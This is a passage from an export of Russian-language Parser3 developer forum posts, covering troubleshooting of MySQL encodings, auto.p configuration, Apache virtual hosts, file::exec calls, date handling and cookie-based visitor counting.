^eval($test2)[%.40f] ^test2.sql-string[]<br>\
<hr>\
^eval($test2*24*60*60)[%.40f]\
[/code]"
"7039","В начале знакомства с этим языком всё было ясно и понятно с первого раза.\
При обращении к mySQL появилаь ошибка о том, что таблицы драйвера БД не опзнаны.\
Все прописано правильно.\
У меня ВинАпаче на лок. компьютере. БД работает с др. интерпретаторами (Perl, PHP).\
Пришлите пожалуйста примерные работающие файлы для такого \
сервера (httpd.conf, .htaccess, конфигур. файл и пути к драйверам).\
Или пришлите решение этой проблемы.\
Спасибо.\
"
"7040","parser работает через того пользователя, что настроите ваш веб-сервер.\
\
если используете IIS, то по-умолчанию, пользователь IUSR_{имя вашей машины}.\
\
можно дать ему.\
\
а совсем по-хорошему, каждому веб серверу дать отдельного пользователя, задаётся в свойствах сервера,\
Security\
Anonymous access and authentification control\
[Edit...]\
Anonymous access\
[Edit...]\
Username: {тут}\
\
предлагаю назвать в виде www_domain_ru, чтобы меньше путаницы.\
собственно, этому пользователю и выдавать необходимые права на файлы."
"7041","[b]\
Unhandled Exception (Debug)\
read failed: No such file or directory (2), actual filename 'j:/design/projects/default/ceviz/admin/add.html'\
j:/design/projects/default/ceviz/admin/add.html\
\
user-request(1)\
exception.type=file.missing \
\
[/b]"
"7042","1.\
представьте на минуту, что новость номер 2 стёрли, а random выдаст двойку? не нужно вообще надеяться на id.\
2.\
представьте, что новостей всего 2, а random выдаст 3? не нужно надеяться на количество.\
\
диагноз — можно так:\
[code]\
^news.offset(^math:random($news))\
[/code]\
\
любителям делать зацикленный offset в надежде \"вывезет\" замечу, что если новостей 4шт, а делать random(5), то первая новость будет выпадать чаще остальных."
"7043","я уж молчу, что random выдаёт, начиная с 0"
"7044","в студии win32 решения используются нечасто, времени написать как следует нет.\
\
кто хочет, может задействовать SQLFetchScroll, который может уметь [уверен, что для ms{sql/access} умеет].\
\
пара проверок и в дамках.\
давайте с этого начнём. сколько можно много требовать от одного разработчика?"
"7045","Судя по доке, должно быть примерно ^# XX, где XX - число,\
но перебором в цикле не получается. \
[code]\
^for[i](0;24){\
$a[$i+65]\
<letter>^#$a</letter>\
}\
[/code]\
в чем баг ?\
\
P.S. Так тоже не идет : ^#{$a}"
"7048","^#HH это литерал, бага нет, так просто нельзя писать.\
\
буквы нужно где-то взять, т.е. в общем виде есть проблемы с кодировками, скажем, в koi нельзя делать цикл от А до Я, выйдет ерунда, надо делать menu тех букв, что нужно.\
\
или просто подготовить список в таблице, или достать из базы те, что бывают, и вывести список их."
"7049","ФАЙЛА \"j:/design/projects/default/ceviz/admin/add.html\" НЕТ"
"7050","Я так и сделал ч-з базу, но глюки есть ...\
\
Вывод алфавита разных языков:\
$lang[rus|eng]\
\
[code]\
select num,count(name) as cnt from alpha left join music on LEFT(name,1)=num where alpha.lang=\"$lang\" group by num\
[/code]\
\
alpha - алфавит типа : [id num lang]\
num - буква, lang - язык \
music.name - название\
\
запрос выводит алфавит и количество наименований, которые есть в таблице music и начинаются на соотв букву алфавита.\
Парадокс : с english алфавитом все ок, а с русским - белиберда.\
База - MySQL.\
\
Можно ли бороться ?\
\
Знаю, что в MySQL проблемы с сортировкой русского алфавила. Но тут иного рода проблема."
"7051","Усли можно и мне только у меня FreeBSD а Mysql на win2000"
"7053"," "
"7054","В парсере есть есть хэши, string с параметром разделителем,  а что посоветуете если по логике программы, должно быть что-то похожее на массив (array), может со вставкой элемента в конец или в начало."
"7055","так непонятно.\
некий bug в области ?= недавно лечился, это касалось двух переменных в subject.\
\
если нужно срочнее, попробуйте \
[code]\
$subject[...]\
\
$.subject[^subject.optimize[]]\
[/code]"
"7056","Почему после регистрации, приходится в вашем форуме опять своё имя писать, может его лучше в куки кидать, и не утомлять народ с вводом своего имени."
"7057","обычно большую часть логики нам делает sql сервер,\
да и задачи наши: не ракету запускаем.\
\
так что добавляйте в две таблицы, потом соедините, как надо."
"7058","Понятно, просто в моем случае переход с С++ проходил бы куда легче :) Специфика понимаешь ли!"
"7059","Мне об этой \"известной\" проблеме ничего не изместно.\
\
По крайней мере поиск в форуме на том-же parser.ru реализован именно like-ом, и все прекрасно ищется.\
\
База данных: koi8\
Строка соединения:\
$SQL.connect-string[mysql://xxx:yyy@localhost/zzz?charset=cp1251_koi8]\
source encoding (кодировка файликов): windows-1251\
\
Как видите все работает.\
Аналогично у меня дома (и не только) на виндах стоит mysql, apache и парсер, все ищется правильно.\
"
"7062","Рассказывай по порядку: в какой кодировке у тебя живут данные в базе?\
\
если это винда, то есть в my.ini (может у тебя другой) следующая строка?\
[code]\
default-character-set=cp1251 (тут на должна быть твоя кодировка)\
[/code]\
\
Что дает выполнение запроса: select upper('проверка')? \
\
"
"7064","А то зарегестрировался, сообщение написал,  а имени не проставилось, а это уже второе сообщение будет как-никак, я может по их количеству хочу в \"top 10\" попасть :)"
"7066","Раньше надо было начинать для top 10. :-) Хотя -- кто знает!? ;-)"
"7067","Довольно часто (напр., в создании сессий) требуется использовать unixtime (время в секундах с начала 1970 года), не смотря на то, что эту проблему решил давно, хотелось бы встроенного решения.\
\
Т.е. создать новый конструктор ^date::create(unixtime) и соответственно, поле $date.unixtime.\
\
P.S. Знаю, что тут может возникнуть масса неприятных моментов, но все же..."
"7068","то, что сказал PAF, интересно, но не реально. Текст почти всегда набивается в win1251, и каким образом я должен хранить в базе кои8? каждый раз потом ручками конвертировать? так что это решение не подходит."
"7069","@auto.p:\
[code]\
@CONF[]\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
\
\
\
@auto[]\
\
$SQL[$.drivers[^table::create{protocol	driver	client\
mysql	parser3mysql.dll	libmySQL.dll}]]\
\
$charsetsdir[c:/web]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
\
\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::create{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.SMTP[mail.viaduk.net]\
]\
[/code]\
\
Только так получилось !!! по другому или Exception или charset !!!\
Тот auto.p что прилагаеться никак не работает. у меня. Помогите !!!\
\
Еще осталась проблема при попытке отослать почту в koi8-r:\
transcodeFromUTF8 error: too big tmpVal(0x000E1AE6)\
\
Читал про это в форуме, но нифига не понял %(("
"7070","Я так и не понял как в @main[], например, определить текущую кодовую страницу содержимого.\
В документации кроме декларации что \"это делается элементарно\" ничего нет. функцию [b]taint[/b] читал - нифига не понял.. \
\
[i]Ах да, parser3 собран с опцией [/i] --with-codepages=koi8-r,windows-1251,,windows-1252,windows-1257[i] хотя для чего две последние я не понимаю[/i]\
"
"7071","Скажи пожалуйста, как ты подключил эту MySQL.\
Я наверное что то в путях перепутал или просто не так понял про конфигурационный файл. Уже неделю её присоединяю.\
Спасибо."
"7073","и то, что в Мускл их нету, очень напрягает. во всяком случае меня, поработавшего с MSSQL."
"7075","буквальный ответ:\
не нужно изобретать сущности, если они нужны можно выразить их через имеющиеся:\
[code]\
$SECS_PER_DAY(24*60*60)\
$unixtime(^math:round($date*$SECS_PER_DAY))\
$date[^date::create($unixtime/$SECSECS_PER_DAY)]\
[/code]\
\
однако о каких сессиях идёт речь?\
если о cookies и их expires[да и response:expires тоже], то в CVS HEAD уже можно задать не относительно в днях, а абсолютно, передав туда объект типа date. с ближайшей сборкой."
"7076","Bitmag, вы написали в конфигурационный файл набор букв, который не работает. давайте не будем в него вникать.\
\
расскажите, чем не угодил предлагаемый в дистрибутиве?\
\
какой файл вы качали, куда положили, какие сообщения об ошибках (copy+paste, пожалуйста)."
"7077","поищите в оглавлении."
"7078","Основная идея подзапросов, как мне кажется, заключается в попытке реализации домена какого-либо атрибута через введение справочных таблиц, в которых этот домен грубо говоря и определяется.\
\
Т.е. по простому говоря, ты можешь ограничить значения в каком-либо столбце, значениями определёнными в некой справочной таблице.\
\
PS: Можно по воробьям и из пушки стрелять, но из рогатки это делать удобнее."
"7079","ya pereril ves internet, no poleznogo nashel malo - navernoe, ploho iskal... Kto-nibud mozhet posovetovat horoshiy istochnik po etoy infe na russkom?\
\
P.S. A po delu - mne nado, chtob na odnom servere s odnim ip rabotalo dva site'a v sub'ah (http://some/site1 | http://some/site2)...kak eto sdelat?"
"7080","У меня дома база в 1251 и тоже все работает.\
Естественно, в этом случае строка соединения должна быть другой.\
\
К тому-же, если используется какой-либо хостинг, но надо узнать, в какой кодировке там хранятся данные, и от этого плясать."
"7081","1. Пишешь в httpd.conf такую строчку:\
[code]\
NameVirtualHost xxx.xxx.xxx.xxx\
[/code]\
где xxx.xxx.xxx.xxx IP для всех виртуальных хостов на сервере (он должен отличаться от IP основного сервера)\
\
2. Назначаешь сетевому интерфейсу сервера этот самый 2-й IP, т.е. делаешь multihomed host.\
\
3. Далее пишешь в тот же httpd.conf настройки для  виртуальных хостов типа так:\
[code]\
<VirtualHost xxx.xxx.xxx.xxx>\
    ServerName host1.domain.net\
    DocumentRoot \"path/to/host1\"\
\
    <Directory \"path/to/host1\">\
        Options ...\
        AllowOverride ...\
        Order ...\
        Allow ...\
    </Directory>\
</VirtualHost>\
\
...\
[/code]\
\
Секций VirtualHost может быть сколько угодно, однако для них всех IP адрес после VirtualHost должен быть одинаков и равен тому, что определен в директиве NameVirtualHost.\
\
4. Добавляешь запись типа A для каждого хоста в файл соответствующей зоны DNS сервера.\
\
5. Перегружаешь сервер и работаешь."
"7082","Не могу понять что криминального содержит страничка:\
[code]\
<hr>Жопа<br>\
@greeting[]\
Всем привет!\
[/code]\
раз parser3 ругается\
[quote]Unhandled Exception (Debug)\
/www/new/iindex.html(3:1): parse error, expecting `$'\
exception.type=parser.compile [/quote]\
[b]Кому[/b]нужен этот рупь? и для чего?\
"
"7084","Хочу организовать отправку введенных в форму данных на e-mail. Пишу\
\
^if(def $form:author && def $form:email && def $form:text){ \
  ^mail:send[ \
    $.from[$form:author] \
    $.to[$form:author <lexR119@rambler.ru>] \
	$.subject[test]\
    $.text[$form:text] \
   ] \
    …сообщение отправлено\
} \
\
В ответ он выдает connect to smtp.domain.ru:25 failed. Как быть с smtp\
"
"7085","В начале поступал так:\
положил parser3.exe в корень сайта\
кодировки положил в /charsets\
либы в /lib\
поправил соответственно корневой auto.p\
\
Постоянно получал ошибку \
\
\"Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\"\
\
\
\
и в конце концов доправился до приведенного выше кода. он заработал, но пр иотправке почты на одном из сайтов получаю ошибку \
transcodeFromUTF8 error: too big tmpVal(0x000E1AE6)\
"
"7087","как сделать так, что бы случайный вывод строки из базы данных был не очень случайным, а зависел от \"веса\" этой строки (как в баннерной системе)"
"7088","Куда ж ты @greeting[] определяешь то !!! нельзя ведь !"
"7089","указать где есть у тебя тут @main[]"
"7091","а unhandle_exception_release\
\
измени метод unhandle_exception, чтобы там вызывался _debug и посмотри, что будет за ошибка...\
\
P.S. ПАФ, зря ты сделал _release настолько похожим на ошибку апача... IMHO"
"7092","[quote]Куда ж ты @greeting[] определяешь то !!! нельзя ведь ![/quote]\
я вообще еще ничего не [пере]определяю, я только примеры из мануала дерьгаю:\
[code]\
А для получения уникального заголовка страниц в каждой из них определим функцию greeting, которая вызывается из header: \
\
для главной страницы: \
@greeting[] \
Добро пожаловать! \
\
для гостевой книги: \
@greeting[] \
Оставьте свой след… \
\
и т.\
[/code]"
"7093","Держи все @xxxx[xxx] в auto.p и не будет у тебя головняка."
"7094","Сессии – речь идет о том, что ключ сессии, который содержится в каждом запросе пользователя (cookie или request_string –  в зависимости оттого, что доступно), имеет некоторое время жизни, которое продлевается при каждом запросе. \
\
Что же касается лишних сущностей, то я реализовал похожий механизм  (считая дни и умножая на 86400). Но после этого поста я все заменил простой конструкцией:\
\
[code]\
$unixtime(^math:round(^date::now[]*86400))\
^unixtime.int[]\
[/code]\
\
Перечитав референс я нашел данное решение очевидным. Не обратил внимание на числовое значение объекта date... (По-моему в первой версии референса не было этого...)\
Точно так же я прокололся с ^file:justname, ^file:justext, etc  написав свою функцию для решения этой задачи, и потом обнаружив это в мануале.\
\
Думаю, что нужно создать более продвинутый FAQ по P^3, т.к. подобные вопросы наверняка занимаю большую часть трафика на форуме.\
Если могу чем-то помочь в данном вопросе (улучшение FAQ), то буду рад сделать это.\
"
"7096","я тоже по инструкции.\
все работает кроме БД.\
можешь прислать свой auto.p и .htaccess или httpd.conf"
"7097","@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
\
#кодировки\
$CHARSETS[\
   $.windows-1251[C:/windows/parser3/etc/charsets/windows-1251.cfg]\
   $.koi8-r[C:/windows/parser3/etc/charsets/koi8-r.cfg]\
]\
\
#SQL дровишки\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
odbc	c:/windows/parser3/lib/parser3odbc.dll\
mysql	c:/windows/parser3/lib/parser3mysql.dll	c:/windows/parser3/lib/libmySQL.dll}]\
]\
\
#файл, создаваемый ^file::load[…], \
#при выдаче в $response:body задаст этот $response:content-type \
$MIME-TYPES[^table::set{ext mime-type \
zip application/zip \
doc application/msword \
xls application/vnd.ms-excel \
pdf application/pdf \
ppt application/powerpoint \
rtf application/rtf \
gif image/gif \
jpg image/jpeg \
png image/png \
tif image/tiff \
html text/html \
htm text/html \
txt text/plain \
mts application/metastream \
mid audio/midi \
midi audio/midi \
mp3 audio/mpeg \
ram audio/x-pn-realaudio \
rpm audio/x-pn-realaudio-plugin \
ra audio/x-realaudio \
wav audio/x-wav \
au audio/basic \
mpg video/mpeg \
avi video/x-msvideo \
mov video/quicktime \
swf application/x-shockwave-flash \
}]\
\
#максимальный размер POST данных\
$LIMITS[ \
   $.post_max_size(10*0x400*0x400) \
] \
\
#работа над ошибками\
@unhandled_exception[exception;stack]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
	<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
@auto[]\
"
"7098","есть ощущение, что unix time совершенно не нужен.\
если он вне parser: просто строка, и всем всё равно, что в ней лежит, лишь бы было компактнее ^date.sql-string[], и такой точности хватит[для данной задачи хватит], можно так…\
\
[code]\
$out[^eval($date)[%.10f]]\
$date[^date::create($in)]\
[/code]\
\
не будет промежуточного формата."
"7099","должен быть столбец приоритет, естественно. а дальше вычисляешь по формуле. математика + статистика."
"7100","или весь файл содержит только код, без определения методов — тогда весь код считается определением метода @main.\
\
или весь файл содержит определения методов.\
\
здесь налицо непонятная смесь."
"7101","я понимаю, что мне место на свалке истории, но теперь при auto.p \
[code]\
@auto[file]\
Имя файла: $file<br>\
\
@header[]\
Имя файла: $file<br>@fil\
<hr>\
<hr>\
[/code]\
и index.html, содержащем одну строчку\
[code]\
^header[]\
[/code]\
\
в еррорлоге пишет, что\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
header\
\
/www/new/iindex.html(1)\
exception.type=parser.runtime \
\
разве я в auto.p не определил метод [b]header[/b]\
[code]\
@header[]\
Имя файла: $file<br>@fil\
<hr>\
<hr>\
[/code]\
?"
"7102","то что там должно быть поде \"приоритет\" - эт ясно, но как сделать, чтобы его значение влияло на частотность показов?"
"7104","нафик, \
не обращайте внимания - описька"
"7105","^if(^math:random(приоритет) == приоритет/2){паказовать}{не паказовать}"
"7106","представьте себе линейку.\
на ней нанесены засечки (|) вот так…\
\
первый банер|второооооооооой банер|трет. бан.\
\
[code]\
^math:random(длина линейки)\
[/code]\
\
выдаст вам случайное место на линейке, в какой банер попадёте уже не случайно а по длине отрезка.\
\
понятно излагаю?"
"7107","проверь, выполняется-ли у тебя auto.p, в котором ты прописал этот метод (http://parser.ru/forum/?id=6919)\
\
если выполняется, то приводи целиком код твоего auto.p и iindex.html (полностью, это означает без того, на что не надо обращать внимание)"
"7108","Правда, все сразу понятно стало. И в очередной раз приятно, что на форуме все объяснят, а не просто напишут что-то типа \"РТФМ!!!\".\
Спасибо, соязычники-Парсерописцы."
"7109","Спасибо, учтем :)\
Тогда напоследок такой вопрос (больше теоретический, но все же...), что будет быстрее:\
[code]^TimeStamp.int[][/code]\
или\
[code]^TimeStamp.format[%.u][/code]\
?\
:)\
"
"7110","== \
[code]\
^int.format[%d]\
[/code]\
\
чуть быстрее и уж куда читабельнее ручного вызова format."
"7111","я все сделал по инструкции но apache пишет:Syntax error on line 194 of c:/program files/apache group/apache/conf/httpd.conf\
:\
Cannot load c:/program files/apache group/apache/bin/parser3/apachemoduleparser3\
.dll into server: (1157) One of the library files needed to run this application\
 cannot be found:\
\
Note the errors or messages above, and press the <ESC> key to exit.  29...\
"
"7112","Так что ты описывай, что и как делал...\
Есть подозрение, что ты не скачал и не положил куда надо библиотеки xml, хотя скачал xml-ную версию p3..."
"7113","Спасибо.\
Достаточно эту штуку (auto.p) кинуть к себе в папку, например: e:/usr/parser/ - а потом в httpd.conf в ParserConfig указать путь \
ParserConfig e:/usr/parser/auto.p ?"
"7115","Вплоть до того, где объясняется расположение клавиши [i]any key[/i]."
"7117","а про то что, как сказал бы мистер Нильсен, у доки по установке usability is poor.\
\
Просто стоко народу наступает каждый день на одни и те же грабли, что это заставляет задуматься, да и народ то вроде толковый, не балбесы, хотя и последние бывают попадаются."
"7118","А как быть с перекрыванием глобального метода в одном конкретном месте?"
"7119","...некоторые разделы доки действительно написаны очень мудрёно, к тому-же дока подразумевает последовательное изучение, что как показывает практика многими не очень хорошо воспринимается.\
\
...я сам порой ищу в ней что-то, знаю что было, а где? фиг знает... без поиска по ней вообще умер-бы...\
\
"
"7120","Я зарегился на hut.ru, и не знаю, как создать .htaccess, может кто поможет?"
"7121","у меня было поле не BINARY :("
"7122","u menya stoit local machine. ip 192.168.0.43.\
server stoit na 127.0.0.1 (kak vsegda..:)..\
tak chto mne i kuda zapisAt?!"
"7123","Есть програмулина \
\
soft /.../.../par1 >/.../.../par2 из консоли работает из пасера пишу\
[code]\
^file::exec[soft;;/.../.../par1;>/.../.../par2]\
[/code]\
\
Такое ошущение что soft запускается но без параметров и отваливается по таймаут.\
Никто с таким не сталкивался."
"7124","мне тут сегодня прислали письмецо:\
[code]\
#----narod\
<VirtualHost 127.0.0.2>\
 ServerAdmin petroffs@narod.ru\
ServerName narod\
DocumentRoot \"d:/users/narod/html/\"\
ScriptAlias /cgi-bin/ \"d:/users/narod/cgi-bin/\"\
ustomLog d:/users/narod/access.log common\
</VirtualHost>\
#----karlos\
<VirtualHost 127.0.0.3>\
  ServerAdmin petroffs@narod.ru\
  ServerName karlos\
  DocumentRoot \"d:/users/karlos/html/\"\
  ScriptAlias /cgi-bin/ \"d:/users/karlos/cgi-bin/\"\
  ErrorLog d:/users/karlos/error.log\
  CustomLog d:/users/karlos/access.log common\
</VirtualHost>\
-----------------------------------\
Это касается локального сервера \
[/code]"
"7125","> это команда shell'у записать stdout в файл.\
\
[code]\
$file[^file::exec[soft;;/.../.../par1]]\
\
# вывод результата:\
$file.text\
[/code]\
\
документация на file::exec на обычном месте"
"7131","Эх, завидно-то как... мне вот ещё месяца три до отдыха... :("
"7133","[color=\"red\"]\
'exec' contains illegal assignment attempt of file to MAIN method_frame, use constructor [parser.runtime]\
[/color]"
"7135","Я попытался сделать пример номер 1 выложенный на сайте. Сделал все точно так как надо, а парсер выдает вот что:\
\
c:/адрес корневого каталога/auto.p(7): 'uri' column not found  type: parser.runtime\
\
в файле sections.cfg у меня вот что:\
\
section_id >    name >  uri\
1 >          Главная >  / \
2 >          Новости >  /news/ \
3 >         Контакты >  /contacts/ \
4 >             Цены >  /price/ \
5 >      Ваше мнение >  /gbook/ \
\
в auto.p - вот что:\
\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table>\
\
\
содержание файлов приведено точно также как написано в файлах."
"7136","Пытаюсь спрограммить поиск по сайту, но никак не могу получить [i]чистый[/i] текст запроса в виде переменной. Объясняю:\
\
Форма выводит [b]QUERY_STRING[/b] в виде [b]author=%C8%E2%E0%ED%EE%E2[/b]\
\
Мне надо отделить [b]author=[/b] от [b]%C8%E2%E0%ED%EE%E2[b] и сохранить правую часть в виде переменной (типа [b]$quest[/b] или что-то вроде того).\
\
[b]lsplit[/b] и [b]rsplit[/b] создают таблицу -- и я не могу с ней потом работать НИКАК!!!\
\
1. И еще один вопрос -- сможет ли Parser потом сопоставить кириллицу и енту символьную белиберду ([b]%C8%E2%E0%ED%EE%E2[/b] -- это Иванов...) с помощью match (или еще чего-нибудь) или как? ...\
\
Жду ответа с нетерпением :)"
"7137","[quote]\
Здесь используется так называемый формат tab-delimited. Столбцы разделяются знаком табуляции, а строки - переводом каретки. При копировании этой таблицы в текстовый редактор данное форматирование будет создано автоматически, но если вы будете создавать таблицу вручную, необходимо это учитывать. Для таблиц ВСЕГДА применяется формат tab-delimited. \
[/quote]"
"7139","Ты пытаешься получить поля формы через $env:... или через $form:... ?"
"7140","для табуляции надо просто нажать кнопку ТАВ? или есть какойто особый символ?"
"7141","С редактором PHP Expert Editor идет MyPHPWizard (написанный на PHP), генерирующий скрипты для работы с базами MySQL. Получается скриптик, который показывает записи (с постраничным выводом и сортировкой) можно также редактировать и удалять записи.\
\
Теперь вопрос: Где можно взять аналогичный, но для работы с InterBase?"
"7143","да, можно нажать клавишу Tab. ASCII cимвол табуляции -- 09 (в десятеричной и шестнадцатиричной системе счисления). Удачи! "
"7144","Проект Apache HTTP Server рад объявить о пятом общедоступном выпуске сервера Apache 2.0. \
\
http://www.apache.org/dist/httpd/Announcement2.html\
http://httpd.apache.org/\
\
;)"
"7145","Какие именно вопросы? Создание этого файла не отличается от создания других файлов. \
\
Может это поможет:\
[url=\"./?id=5298\"]* ftp: как починить \"на хостинге не видно .htaccess файлов\", PAF [15.08 17:26][/url]"
"7146","я пишу так\
[code]\
^file::exec[zip;;${full_path}/doc/files/${fname}.zip;${full_path}/doc/files/${fname}.rtf]\
[/code]\
если я указываю полный путь к zip тогда он добовляет лирректорию сервера.\
"
"7148","через $env:QUERY_STRING - то влаг тебе в руки, используя свои собственные методы для преобразования %C8%E2%E0%ED%EE%E2, приходящего в разных кодировках разного к читаемому виду.\
\
А люди, пишушие на парсере используют для обращения к ?author=%C8%E2%E0%ED%EE%E2\
$form:author и спят спокойно.\
\
http://parser.ru/docs/lang/formclass.htm"
"7150","http://www.narisoval.ru/chemodan/parser/"
"7151","для начала определись, что у тебя не работает - скрипт, или механизм его вызова с помощью парсера.\
\
напиши простейший скрипт, выводящий содержимое каталога, положи его в cgi-bin, создай в корне веб пространства файл test.html:\
$f[^file::exec[/../cgi-bin/test.pl]]\
^if(!$f.status){\
$f.text\
}{\
$f.stderr\
}\
\
заставь _это_ работать, потом перейдем к разбору твоей проги и проверке передачи параметров.\
Да, вот еще что... если ты не понял - начальный слеш при вызове означает, что путь к каталогу будет искаться от DOCUMENT_ROOT, т.е. мой пример подразумевает, что твой каталог www и каталог cgi-bin лежат на одном уровне, и что твой сервер умеет запускать скрипты, находящиеся в кателоге cgi-bin (НЕ алиас), что на скрипт даны соответствующие права для выполнения...\
\
удачи."
"7152","MySQL отказываеться сортировать поля с русскими буквами! Вроде все правильно делаю, а он не хочет! "
"7154","Все дело в том, что у меня drop-down option прописана с авторами статей.\
\
Но через $form не пробовал...\
\
Ждите продолжения... :)"
"7155","http://parser.ru/forum/?id=5124 "
"7156","Если это тот my.ini, что лежит в \\winxp, то у в нем такой строки вообще нет."
"7157","даете команду:\
SHOW VARIABLES;\
\
смотрите значение \"character_set\"\
\
делаете так, чтобы данные клались в этой кодировке (если работаете парсером см. тут:http://parser.ru/docs/lang/app3mysql.htm , если не парсером - смотрите соответствующую доку.)\
\
для того, чтобы изменить эту кодировку в mysql на win (данные не поломаются, но вы не можете задать для одной базы одну кодировку, а для другой - другую. кодировка задается для сервера) добавьте в my.ini команду:\
default-character-set=cp1251\
\
(это пример, указывайте свою кодировку, какие они бывают есть в доке по mysql)\
\
надеюсь на некоторое время вопросы о неправильном преобразовании символов при sql запросах и неправильной сортировке будут отсутствовать :)"
"7160","Он пока увеличивается даже если посетитель обновляет страничку... :)"
"7161","на сервере провайдера необходимо подключаться:\
/home/ваш_логин/run/mysql.sock\
\
получаю ошибку:\
'mysql://****@localhost/home/ваш_логин/run/mysql.sock' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
\
что делать?"
"7163","Я правильно понимаю:\
(1) в принципе любой метод класса может быть его конструктором, если его вызывать как \
\
$object[^class_name::some_method[some_parameters]]\
\
так ли это?\
\
(2) Почему в конструкторе, если я в нем пытаюсь сразу вывести что нибудь на страницу, например \
\
@some_constructor[]\
<h1>something have constructed ...</h1>\
\
то при вызове этого конструктора на страницу ничего не выводится и приходится вызывать его потом еще раз, но уже как просто метод класса?"
"7164","не надо парсер использовать в качестве языка программирования, используйте его как лучшее средство для сборки уже готовых компонент.\
\
парсер всегда будет пасовать перед мощными языками программирования, доказательство тому сам парсер написан на \"плюсах\" *)"
"7165","1. функционально - да, однако логически надо различать их, и в конструктор выносить действия, которые выполняют инициализацию объекта.\
\
2. результаты работы конструктора выкидываются [точнее результат его работы - объект] (по моему это было в доке, но щас я не нашел этого)"
"7166","1. Да так\
2. Задача конструктора заключается в создании объекта класса (поэтому собственно говоря он так и называется) это аналогично присвоению переменной какого-либо значения -> инициализация != вывод значения. Поэтому нету смысла в конструкторах делать вешщи которые показывают на экране что-либо."
"7167","только один IP тебе в этом случае не поможет!!!!\
Будет виден только IP прокси-сервера, а все заходы с разных машин из локальной сети будут выглядеть как заход с одной (с прокси-сервера).\
У тебя сейчас уже считаются хиты, а чтобы считать уникальные хосты попробуй использовать кукисы (но так получится сосчитать уникальные хосты только за какой-то период, т.к. кукисы хранятся конечное количество дней).\
\
Но у меня есть вопрос ко всем знатокам Парсера насчёт кукисов. Можно ли в Парсере определить отключены ли кукисы или нет?\
Ну понятное дело можно - надо создавать новый кукис на время сессии с уникальным именем и заносить в него уникальное значение и тут же пытаться считать из этого кукиса это значение. Если значение считается, то значит кукисы включены, Else нет.\
Но меня интересует можно ли это сделать как-либо проще и изящнее? "
"7168","и программировать в машинном коде. Код на любом языке всегда будет пасовать перед машинным кодом, доказательством тому является то что код на любом языке переводится в машинный код."
"7169","[quot]\
Ну понятное дело можно - надо создавать новый кукис на время сессии с уникальным именем и заносить в него уникальное значение и тут же пытаться считать из этого кукиса это значение. Если значение считается, то значит кукисы включены, Else нет.\
Но меня интересует можно ли это сделать как-либо проще и изящнее?\
[/quot]\
\
Если ты запишешь куку, и ту-же считаешь, то парсер тебе вернет записаное значение. Это его фича.\
Для того, чтобы проверить, включены они или нет надо записать куку, перегрузить страницу и после этого считать ее. И не иначе."
"7171","а можно как то указать другой сокет,\
мне надо коннектиться через \
/home/my_name/mysql.sock"
"7175","А когда-нибудь эту \"фичу\" поправят или нет?\
И можно ли в следующих релизах парсера к классу cookie добавть свойство Enable?"
"7176","Так удобнее писать код.\
\
свойство enabled не добавят, т.к. без перегрузки страницы этого не выяснить, а парсер этим заниматься не будет. Если кому нужно - он сам напишет код, делающий это."
"7177","Нельзя-ли чуть по подробнее..."
"7180","особенно концовка фразы: \"... через которые сам еще не \"прошел\""
"7184","ни на что не претендую, просто высказал свое мнение, может не совсем точно, каждый может высказать свое мнение, если захочет - для этого форум и существует, язвить же можно сколько угодно, главное в \"Top10 писателей\" не упасть )"
"7185","Поясняю:\
Заходит пользователь к тебе на сайт, а твой скрипт пытается считать у него куку с определённым тобой именем и каким-то известным тебе значением. Если кукис считался, то значт с этой машины кто-то уже сегодня твой скрипт вызывал => хосты увеличивать не надо. Если кукис не считался, то скрипт должен его создать (срок хранения куки :) допустим 1 день) и прибавить в твоей базе данных 1 хост (уникальный за сегодня!). При следующем заходе с того же компа твой скрипт этот кукис уже считает и прибавлять новый хост уже не будет. На следующй день этот кукис пропадёт.\
\
Но вся фигня в том, что кукисы можно отключать в браузере - и тогда такой фокус не пройдёт. Как проверить вкл/выкл куки см. ниже коментарий Миши.\
